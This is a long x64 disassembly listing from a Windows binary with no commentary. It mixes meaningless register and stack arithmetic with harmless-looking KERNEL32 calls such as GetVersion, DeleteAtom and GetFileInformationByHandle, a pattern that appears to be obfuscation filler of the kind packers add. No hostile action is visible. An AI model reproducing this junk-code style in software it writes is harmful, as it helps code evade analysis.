mov dword [rcx], eax
lea rax, [rsp + 0xa8c0]
mov qword [0x140363998], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7bc], eax
movzx ecx, word [rsp + 0x29ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29bc], ax
mov rax, qword [rsp + 0x13328]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13188]
mov qword [rsp + 0x13360], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13360]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
lea rdx, [rsp + 0x13268]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa7c0], eax
mov rax, qword [rsp + 0x13290]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b80], eax
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0xa8ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132d0]
mov dword [rcx], eax
lea rax, [rsp + 0x6b3]
mov qword [rsp + 0x13368], rax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
sub eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov rax, qword [rsp + 0x13188]
mov eax, dword [rax]
mov ecx, dword [0x140363960]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
lea rax, [rsp + 0x6768]
mov qword [rsp + 0x13370], rax
mov rax, qword [rsp + 0x132d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
lea rax, [rsp + 0xa8dc]
mov qword [0x1403639a0], rax
movzx eax, word [rsp + 0x298c]
mov word [rsp + 0x29c0], ax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13318]
mov byte [rcx], al
mov rax, qword [rsp + 0x13288]
movsx eax, byte [rax]
movsx ecx, byte [0x14035e48f]
add eax, ecx
mov byte [rsp + 0x6b6], al
lea rax, [rsp + 0x1cc4]
mov qword [rsp + 0x13378], rax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6768]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
lea rax, [rsp + 0xa8bc]
mov qword [rsp + 0x13380], rax
movzx eax, byte [rsp + 0x6b7]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13368]
mov byte [rcx], al
mov rax, qword [rsp + 0x132f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1778], ax
mov rax, qword [0x140363950]
mov ecx, dword [rsp + 0xa8b0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140363978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13270]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8ec]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8604], eax
mov rcx, qword [rsp + 0x13200]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x140363998]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13188]
mov qword [rsp + 0x13388], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13388]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8f4], eax
mov eax, dword [rsp + 0xa8cc]
mov dword [rsp + 0xa8f8], eax
mov rax, qword [rsp + 0x132f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13240]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x29b8], ax
movzx eax, byte [rsp + 0x6b1]
mov byte [rsp + 0x6b8], al
mov r9d, 0x966
xor r8d, r8d
lea rdx, [rsp + 0x13298]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa788], eax
mov rax, qword [rsp + 0x13328]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa884], eax
mov rax, qword [rsp + 0x132d0]
mov ecx, dword [rsp + 0xa804]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x131b0]
mov ecx, dword [rsp + 0xa8ac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x898c], eax
lea rax, [rsp + 0xa854]
mov qword [0x1403639a8], rax
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0x8b00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8d4], eax
lea rax, [0x14035e48f]
mov qword [rsp + 0x13390], rax
mov rax, qword [rsp + 0x13108]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
add eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22a]
add eax, ecx
mov rcx, qword [rsp + 0x131f8]
mov byte [rcx], al
lea rax, [rsp + 0x299c]
mov qword [rsp + 0x13398], rax
mov rax, qword [rsp + 0x13290]
mov ecx, dword [rsp + 0xa7d0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13280]
mov dword [rcx], eax
lea rax, [rsp + 0xa7b4]
mov qword [rsp + 0x133a0], rax
movzx eax, byte [rsp + 0x6b4]
mov rcx, qword [rsp + 0x13318]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x22a], al
movzx eax, word [rsp + 0x29a8]
movzx ecx, word [rsp + 0x1088]
or eax, ecx
mov word [0x140362b7c], ax
lea rdx, [rsp + 0x133a8]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa7c4], eax
mov rax, qword [rsp + 0x13290]
mov rcx, qword [0x140363968]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
mov dword [rsp + 0xa8fc], eax
mov rax, qword [rsp + 0x132e0]
mov eax, dword [rax]
mov dword [rsp + 0xa8bc], eax
lea rax, [rsp + 0xa8ac]
mov qword [rsp + 0x133b0], rax
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13368]
mov byte [rcx], al
mov rax, qword [rsp + 0x13398]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a0]
xor eax, ecx
mov word [rsp + 0x251c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13258]
mov qword [rsp + 0x133b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x133b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa850], eax
mov rax, qword [rsp + 0x132d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13270]
mov dword [rcx], eax
lea rax, [rsp + 0x43e]
mov qword [0x1403639b0], rax
movzx eax, word [rsp + 0x1cc4]
mov word [rsp + 0x29c4], ax
mov rax, qword [rsp + 0x132f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a8]
sub eax, ecx
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x133c0], rax
mov rax, qword [rsp + 0x13248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa278]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa808], eax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x13370]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x898c], eax
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa7b4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e84], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x13258]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8e8], eax
lea rax, [rsp + 0xa8d4]
mov qword [rsp + 0x133c8], rax
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov byte [rsp + 0x6b4], al
movzx eax, word [rsp + 0x1778]
mov word [0x140362bb4], ax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x131b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rax, [rsp + 0xa8d8]
mov qword [rsp + 0x133d0], rax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa884]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133c8]
mov dword [rcx], eax
lea rax, [rsp + 0xa808]
mov qword [rsp + 0x133d8], rax
movzx eax, word [rsp + 0x29a4]
mov rcx, qword [rsp + 0x132c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x132f8]
mov word [rcx], ax
lea rax, [rsp + 0x6b1]
mov qword [rsp + 0x133e0], rax
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x5fd]
or eax, ecx
mov rcx, qword [rsp + 0x13250]
mov byte [rcx], al
mov rax, qword [rsp + 0x130e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
xor eax, ecx
mov rcx, qword [rsp + 0x13348]
mov word [rcx], ax
mov rax, qword [rsp + 0x13370]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x133b0]
mov qword [rsp + 0x133e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x133e8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x140363978]
mov dword [rcx], eax
lea rdx, [rsp + 0x45b60]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa8f0], eax
mov eax, dword [rsp + 0x6554]
mov dword [rsp + 0xa900], eax
movzx eax, word [rsp + 0x29c0]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x132f0]
mov word [rcx], ax
lea rax, [rsp + 0x6b7]
mov qword [rsp + 0x133f0], rax
mov rax, qword [0x1403639a8]
mov rcx, qword [rsp + 0x13380]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8c8], eax
mov eax, dword [rsp + 0x898c]
mov dword [rsp + 0xa8ac], eax
lea rax, [rsp + 0xa8e8]
mov qword [rsp + 0x133f8], rax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7200]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e84], eax
lea rax, [rsp + 0x29b4]
mov qword [rsp + 0x13400], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa8b8], eax
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
mov byte [0x14035e4a4], al
lea rcx, [rsp + 0x41ad8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov dword [rcx], eax
mov rax, qword [0x1403639a8]
mov rcx, qword [rsp + 0x133a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13270]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa900]
mov dword [rsp + 0xa904], eax
mov eax, dword [0x14035cbdc]
mov ecx, dword [rsp + 0x9e84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa81c], eax
mov rax, qword [rsp + 0x13258]
mov rcx, qword [rsp + 0x13328]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x73a0], eax
mov r9d, 0x2532
xor r8d, r8d
lea rdx, [rsp + 0x13200]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa8f4], eax
movsx eax, word [rsp + 0x1cc4]
movsx ecx, word [rsp + 0x29c4]
sub eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
movsx eax, byte [0x14035e48f]
movsx ecx, byte [rsp + 0x6b2]
add eax, ecx
mov rcx, qword [rsp + 0x13250]
mov byte [rcx], al
movzx eax, byte [rsp + 0x43d]
mov byte [rsp + 0x6b9], al
mov rax, qword [rsp + 0x132c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29c0]
sub eax, ecx
mov word [0x14035cbe4], ax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
lea rax, [rsp + 0xa7d0]
mov qword [rsp + 0x13408], rax
mov rax, qword [rsp + 0x132c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29a0], ax
lea rax, [0x140353573]
mov qword [rsp + 0x13410], rax
mov rax, qword [rsp + 0x133c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa854]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa884], eax
mov eax, dword [0x14035cbd8]
movzx ecx, al
mov eax, dword [rsp + 0xa8b0]
shr eax, cl
mov rcx, qword [rsp + 0x132c0]
mov dword [rcx], eax
lea rax, [rsp + 0xa8d8]
mov qword [rsp + 0x13418], rax
mov eax, dword [rsp + 0x6d94]
mov ecx, dword [rsp + 0xa8e8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x73a0], eax
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
mov rcx, qword [0x140363990]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x140363970]
mov byte [rcx], al
lea rax, [rsp + 0x299c]
mov qword [rsp + 0x13420], rax
mov rax, qword [rsp + 0x13248]
mov ecx, dword [rsp + 0xa8ac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x13328]
mov ecx, dword [0x14035cbdc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa884], eax
lea rax, [rsp + 0x29c4]
mov qword [rsp + 0x13428], rax
mov rax, qword [rsp + 0x13288]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13250]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b2], al
mov rax, qword [rsp + 0x133c0]
movzx eax, byte [rax]
mov rcx, qword [0x140363990]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x65d], al
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
or eax, ecx
mov word [rsp + 0x29a0], ax
mov rax, qword [rsp + 0x13248]
mov rcx, qword [rsp + 0x13408]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b80], eax
mov eax, dword [rsp + 0xa8dc]
mov dword [0x1403639b8], eax
mov rax, qword [rsp + 0x132d0]
mov eax, dword [rax]
mov dword [rsp + 0xa908], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov rax, qword [rsp + 0x13330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8b0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
mov eax, dword [0x1403639b8]
mov dword [rsp + 0xa90c], eax
lea rdx, [rsp + 0x45b28]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa910], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov rax, qword [rsp + 0x132f8]
movzx eax, word [rax]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13410]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4bc], al
mov rax, qword [rsp + 0x13270]
mov rcx, qword [0x1403639a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8d4], eax
mov rax, qword [rsp + 0x13330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6768]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8ac], eax
mov eax, dword [rsp + 0xa8bc]
mov dword [rsp + 0xa914], eax
lea rcx, [rsp + 0x41a78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa908]
sar eax, cl
mov dword [0x14035cbe8], eax
movzx eax, word [rsp + 0x29b8]
movzx ecx, word [rsp + 0x1cb4]
xor eax, ecx
mov word [rsp + 0x299c], ax
lea rax, [rsp + 0x51b]
mov qword [rsp + 0x13430], rax
movsx eax, byte [rsp + 0x6b6]
movsx ecx, byte [0x14035e48f]
shl eax, cl
mov rcx, qword [rsp + 0x132e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29c4]
or eax, ecx
mov rcx, qword [rsp + 0x13428]
mov word [rcx], ax
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa918], eax
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29bc], ax
lea rax, [rsp + 0xa8b0]
mov qword [rsp + 0x13438], rax
mov rax, qword [0x1403639a0]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8bc], eax
lea rax, [rsp + 0x6b1]
mov qword [rsp + 0x13440], rax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x251c]
add eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov eax, dword [rsp + 0x6768]
mov ecx, dword [0x14035cbd8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140363978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa884]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13258]
mov dword [rcx], eax
mov eax, dword [0x14035cbe8]
mov ecx, dword [rsp + 0xa894]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e4], eax
mov rax, qword [rsp + 0x13350]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13298]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x29a4]
mov qword [rsp + 0x13448], rax
movzx eax, byte [rsp + 0x6b5]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13440]
mov byte [rcx], al
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa884]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov dword [rsp + 0xa91c], eax
mov rax, qword [rsp + 0x13248]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
mov dword [0x1403639bc], eax
mov rax, qword [rsp + 0x133d0]
mov eax, dword [rax]
mov dword [rsp + 0xa920], eax
movsx eax, word [rsp + 0x2990]
movsx ecx, word [0x140353b08]
sub eax, ecx
mov rcx, qword [rsp + 0x13428]
mov word [rcx], ax
lea rcx, [rsp + 0x41b08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movsx eax, byte [rsp + 0x6b6]
mov rcx, qword [rsp + 0x132e8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4bc]
sar eax, cl
mov byte [rsp + 0x6b5], al
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2994], ax
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x13448]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x29b8], ax
lea rax, [rsp + 0xa7d0]
mov qword [rsp + 0x13450], rax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8ec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b4], eax
mov rax, qword [0x140363988]
movzx eax, word [rax]
mov word [rsp + 0x29c8], ax
mov rax, qword [rsp + 0x133f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x133e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14035e48e], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa924], eax
mov rax, qword [rsp + 0x13280]
mov rcx, qword [0x140363950]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13450]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa850]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8c0], eax
mov eax, dword [rsp + 0xa894]
mov ecx, dword [rsp + 0xa8fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa398], eax
mov rax, qword [rsp + 0x13358]
mov rcx, qword [rsp + 0x131b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8e4], eax
lea rax, [rsp + 0x6b3]
mov qword [rsp + 0x13458], rax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1778], ax
mov rax, qword [rsp + 0x132d0]
mov rcx, qword [rsp + 0x13418]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa90c], eax
lea rax, [rsp + 0xa8fc]
mov qword [rsp + 0x13460], rax
movzx eax, byte [rsp + 0x6b0]
mov byte [0x14035e4a5], al
mov rax, qword [rsp + 0x13108]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cc4], ax
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x13468], rax
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
add eax, ecx
mov rcx, qword [rsp + 0x132c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x133b0]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x133b0]
mov dword [rcx], eax
lea rax, [rsp + 0x898c]
mov qword [rsp + 0x13470], rax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa8d4]
sar eax, cl
mov rcx, qword [rsp + 0x13300]
mov dword [rcx], eax
lea rdx, [rsp + 0x45b60]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa910], eax
lea rax, [0x14035cbe8]
mov qword [rsp + 0x13478], rax
mov eax, dword [rsp + 0xa8d8]
mov ecx, dword [rsp + 0xa7d4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov word [rsp + 0x29cc], ax
lea rax, [rsp + 0x6b9]
mov qword [0x1403639c0], rax
mov eax, dword [rsp + 0xa808]
movzx ecx, al
mov eax, dword [rsp + 0xa8b0]
shl eax, cl
mov rcx, qword [rsp + 0x13290]
mov dword [rcx], eax
mov rax, qword [rsp + 0x133c8]
mov rcx, qword [rsp + 0x133f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa8fc], eax
mov rax, qword [rsp + 0x132d0]
mov eax, dword [rax]
mov dword [rsp + 0xa928], eax
mov rax, qword [0x140363968]
mov ecx, dword [rsp + 0xa87c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13320]
mov dword [rcx], eax
lea rax, [rsp + 0x299c]
mov qword [rsp + 0x13480], rax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13410]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x65d], al
mov rax, qword [rsp + 0x132e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x132b8]
mov byte [rcx], al
movsx eax, word [rsp + 0x2990]
movsx ecx, word [rsp + 0x29c4]
sub eax, ecx
mov word [rsp + 0x1868], ax
mov rax, qword [rsp + 0x13408]
mov ecx, dword [rsp + 0xa868]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140363950]
mov dword [rcx], eax
mov rax, qword [rsp + 0x133d0]
mov ecx, dword [rsp + 0xa928]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8e8], eax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov word [rsp + 0x29d0], ax
mov r9d, 2
lea r8, [rsp + 0x13268]
mov rdx, qword [rsp + 0x13268]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa92c], eax
movzx ecx, word [rsp + 0x2994]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2988], ax
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x43d], al
mov eax, dword [rsp + 0xa850]
mov ecx, dword [rsp + 0xa90c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13380]
mov dword [rcx], eax
mov eax, dword [0x14035cbd8]
mov ecx, dword [rsp + 0xa7dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64f0], eax
mov rax, qword [rsp + 0x13270]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7b4]
sar eax, cl
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13258]
mov eax, dword [rax]
mov dword [rsp + 0xa930], eax
lea rdx, [rsp + 0x13058]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa934], eax
movzx eax, byte [rsp + 0x6b8]
movzx ecx, byte [0x140353573]
xor eax, ecx
mov byte [rsp + 0x65d], al
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x132f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14035cbec], ax
lea rax, [rsp + 0xa8e4]
mov qword [rsp + 0x13488], rax
mov eax, dword [rsp + 0xa7b4]
mov ecx, dword [0x140363960]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
lea rdx, [rsp + 0x45b60]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa7c0], eax
mov eax, dword [rsp + 0xa850]
mov ecx, dword [rsp + 0xa904]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
lea rcx, str.qU49RIx.cJ2CE.pCweuNF_WMhgH80
call qword [sym.imp.KERNEL32.dll_AddAtomW]
